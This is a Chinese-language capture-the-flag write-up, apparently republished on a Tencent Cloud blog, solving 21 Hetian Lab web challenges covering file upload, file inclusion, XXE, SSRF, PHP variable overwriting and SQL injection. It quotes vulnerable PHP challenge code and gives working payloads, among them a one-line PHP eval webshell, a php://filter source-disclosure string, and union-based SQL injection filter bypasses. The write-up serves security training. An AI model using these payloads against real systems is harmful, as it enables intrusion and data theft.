首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >合天网安Web-CTF-WriteUp

合天网安Web-CTF-WriteUp

作者头像
UzJu@菜菜狗
发布2022-04-26 13:58:15
发布2022-04-26 13:58:15
1K10
代码可运行
举报
文章被收录于专栏:UzJu和菜菜狗UzJu和菜菜狗
运行总次数:0
代码可运行

Web-CTF-WriteUp

一、前言

旧文,师傅们随便看看

二、WriteUp

①、编码

1、神奇的磁带-WriteUp
  • 漏洞地址:10.1.1.147:5001
  • Burp抓包
  • 对应题目,神奇的磁带(tape)

flag是:Flag{ctf_victory_SecBug}

②、HTTP基础

2、 就差一把钥匙
  • 题目描述
  • 查看源码
  • 没什么东西 看看当前页面COOKIE
  • 打开burp抓包
  • 没什么东西,然后看了一下标题
  • 打开终端扫一下目录
  • 都指向console目录
  • 根据经验发现XFF没跑了 burp抓包改包

拿到flag: flag{hetianlab-weekctf}

3、 迷了路
  • 题目描述
  • 访问网站
  • 查看源代码
  • 查找一番无果后根据标题猜测跟HTTP的Accept-language有关
  • 8个国家,分别为美国 英国 法国 德国 日本 韩国 西班牙 瑞典 百度搜了一下
  • 美国:en-US
  • 英国:en-gb
  • 法国:fr-fr
  • 德国:de-de
  • 日本:ja-jp/jp
  • 韩国:kr/kor 实测kr并不会返回信息
  • 西班牙:es-es
  • 瑞典:sv

拼接flag为:flag{Thisis_hetianlab@}

③、基础代码审计

4、 Check your source code
  • 题目描述
  • 访问网站
  • 尝试一下admin admin 无果后查看源代码
  • 审计题 定义俩变量
  • 检查post user name 和password
  • 等于
  • 检查cookie是不是 check
  • url解密后的username变量全部等于(===你懂的)和url解密后的password不等于admin 意思是账号admin密码不等于admin即可
  • 然后setcookie等于ahash然后用base64加密secret变量然后urldecode admin admin,time()为时间7天
  • 流程就是抓包把cookie改成check然后加密后的secret和明文的admin与任意密码
  • 抓包看到一个base64加密的cookie
  • 解密后
  • 这个88应该就是secret这个变量 那么把它加密
  • 然后把包丢进repeater
  • 名字改为check等于加密后的88
  • 后面跟上admin与任意密码即可 注意:check那里的密码必须与下面提交的数据password一样 不然会提示重新检查cookie

flag{welcome_to_htlab}

④、文件上传

5、 Easy Upload
  • 题目描述
  • 访问网站
  • 检查提交的源代码
  • 新建文件
  • 写入phpinfo
  • 点击发送

Flag: flag{hetian@lab_com}

6、 套娃一样的文件上传
  • 题目描述
  • 访问网站
  • 看一下提交按钮的javascript
  • 丢到repeater
  • 就只剩下第三层了
  • LBWNB 17这个数字 猜测是提交的数据

行 flag{0000_0000_0000}

7、 再见上传
  • 题目描述
  • 访问网站
  • 查看源码
  • 源代码没有东西 直接整抓包上传8
  • Uploads/后面加上UzJu.php%00 然后点击send发现还是不行
  • 后来想了一下好像要改hex

flag{asdf_hetianlab_com}

8、 随意的上传
  • 题目描述
  • 访问网站
  • 写一个phpinfo上传
  • 过滤了<?php php使用Payload
代码语言:javascript
代码运行次数:0
运行
复制
<script language="pHp">@eval($_POST['UzJu'])</script> 

上传后使用菜刀连接

Flag:flag{0123_4567_8901}

⑤、文件包含

9、试试phpinfo()吧
  • 题目描述
  • 访问网站
  • ../phpinfo.php
  • 拉到最底下查看flag Flag: flag{abcd_hetianlab_1234_qwer}
10、试试协议吧
  • 题目描述
  • 访问网站
  • 彳亍 解密后

Flag: flag{abdc_1234_qwer_hetian}

  • Payload: php://filter/convert.base64encode/resource=flag.php
11、签到般的包含
  • 访问网站
  • 新建文件
  • 打包成zip 然后将zip文件后缀名改为jpg
  • 上传文件

flag{whoami_hetianlab_student}

⑥、XXE

12、simple xxe
  • 访问网站 查看源码
  • 按照题目提示找到注释说明flag在opt目录下

Flag(hetianlab_ctf)

13、blind xxe
  • 启动apache 进入html目录 创建dtd文件
  • 修改POST数据
  • 抓包后监听即可

flag{hetian_1234_awdr}

⑦、SSRF

14、回显的SSRF
  • 题目描述
  • 访问网站 直接使用file协议
  • 查看flag

flag{enter_your_passwd}

15、有点另类的SSRF
  • 题目描述
  • 抓包
  • 需要POST参数admin
  • 加上XFF
  • 试试xcip

flag{0123_hetianlab_hunan}

⑧、代码审计

16、给你丢了串代码
  • 题目描述
  • 访问网站
  • 源代码
代码语言:javascript
代码运行次数:0
运行
复制
 <?php 
  include "flag.php"; 
  $_403 = "Access Denied"; 
  $_200 = "Welcome Admin"; 
 if ($_SERVER["REQUEST_METHOD"] != "POST"){ 
 //需要POST方法 
 die("hetianlab flag is here :biubiubiu"); 
 }if (!isset($_POST["flag"])){ 
 //需要POST参数=flag 
 die($_403); 
 }foreach ($_GET as $key => $value){ 
 //遍历GET方法所传值 
          $$key = $$value; 
 }foreach ($_POST as $key => $value){ 
 //遍历POST方法所传值 
      $$key = $value; 
 }if ($_POST["flag"] !== $flag){ 
 die($_403); 
 } 
  echo "This is your flag : ". $flag . "\n"; 
 die($_200); 
 ?> 
  • 变量覆盖题 flag{hunan_hetian}
17、学会变量覆盖
  • 题目描述
  • 查看源代码
代码语言:javascript
代码运行次数:0
运行
复制
<html> 
<head> 
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/> 
<title>学会变量覆盖</title> 
</head> 
<body> 
<!-- 
$flag='xxxx': 
extract($_GET): 
if (isset($gift)) 
Scontent =@trim(file_get_contents($flag)): 
if (Sgift = $content) 
echo"flag 
else 
echo ' oh . . ' ; 
--> 
</body> 
</html> 
  • 判断gift变量是否存在,否则执行判断 File_get_contents读取flag传给content 判断gift 是否等于content,如果等于content就输出flag
  • 构造gift=&flag= 两个值都为空,判断相等 flag{hetianlab}
18、Easy php
  • 题目描述
  • 源代码
代码语言:javascript
代码运行次数:0
运行
复制
<?php 
highlight_file('source.txt'); 
echo "<br><br>"; 
$flag = 'xxxxxxxx'; 
$msg_giveme = 'Give me the flag!'; 
$msg_getout = 'No this. Get out!'; 
if(!isset($_GET['flag']) && !isset($_POST['flag'])){ 
 exit($msg_giveme); 
} 
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){ 
 exit($msg_getout); 
} 
foreach ($_POST as $key => $value) { 
    $$key = $value; 
} 
foreach ($_GET as $key => $value) { 
    $$key = $$value; 
} 
echo 'the flag is : ' . $flag; 
?> 

flag{asdhetianlab}

19、最后一道变量覆盖
  • 题目描述
代码语言:javascript
代码运行次数:0
运行
复制
<?php 
header("Content-Type: text/html;charset=utf-8"); 
       error_reporting(0); 
 if (empty($_GET['id']))  
 { 
            show_source(__FILE__); 
 die(); 
 }  
 else  
 { 
            include ('flag.php'); 
            $a = "www.hetianlab.com "; 
            $id = $_GET['id']; 
 @parse_str($id); 
 if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO'))  
 { 
                 echo $flag; 
 }  
 else  
 { 
 exit('其实很简单其实并不难!'); 
 } 
 } 
?> 
Parse_str导致的变量覆盖

⑨、SQL注入

20、你的空格哪去了
  • 题目描述
  • 访问网站
  • 简单的查询代码 输入1
  • 输入2
  • 提示hacker! 可能过滤的’ 或者 and等
  • 没有提示hacker 说明没有过滤单引号 根据标题发现可能过滤了空格
  • 尝试and后也没有过滤and
  • 首先1’order//by//5#
  • 发现没有信息 再尝试1’order//by//3#
  • 然后使用-1’union//select//1,2,3#
  • 然后看到我才会告诉你可以用select flag from flag看到Flag尝试
  • payload:-1’union//select//1,2,flag//from//flag#

Flag: flag{63564494cac7097c}

21、想想怎么绕过过滤吧
  • 题目描述
  • 打开发现跟21周的没什么区别 只是新增了select过滤
  • 直接大小写绕过即可
  • Payload:-1’union//SeLeCt//1,2,flag//from//flag#

Flag:flag{ff98f887ddaaad88}

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Web-CTF-WriteUp
    • 一、前言
    • 二、WriteUp
      • ①、编码
      • ②、HTTP基础
      • ③、基础代码审计
      • ④、文件上传
      • ⑤、文件包含
      • ⑥、XXE
      • ⑦、SSRF
      • ⑧、代码审计
      • ⑨、SQL注入
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档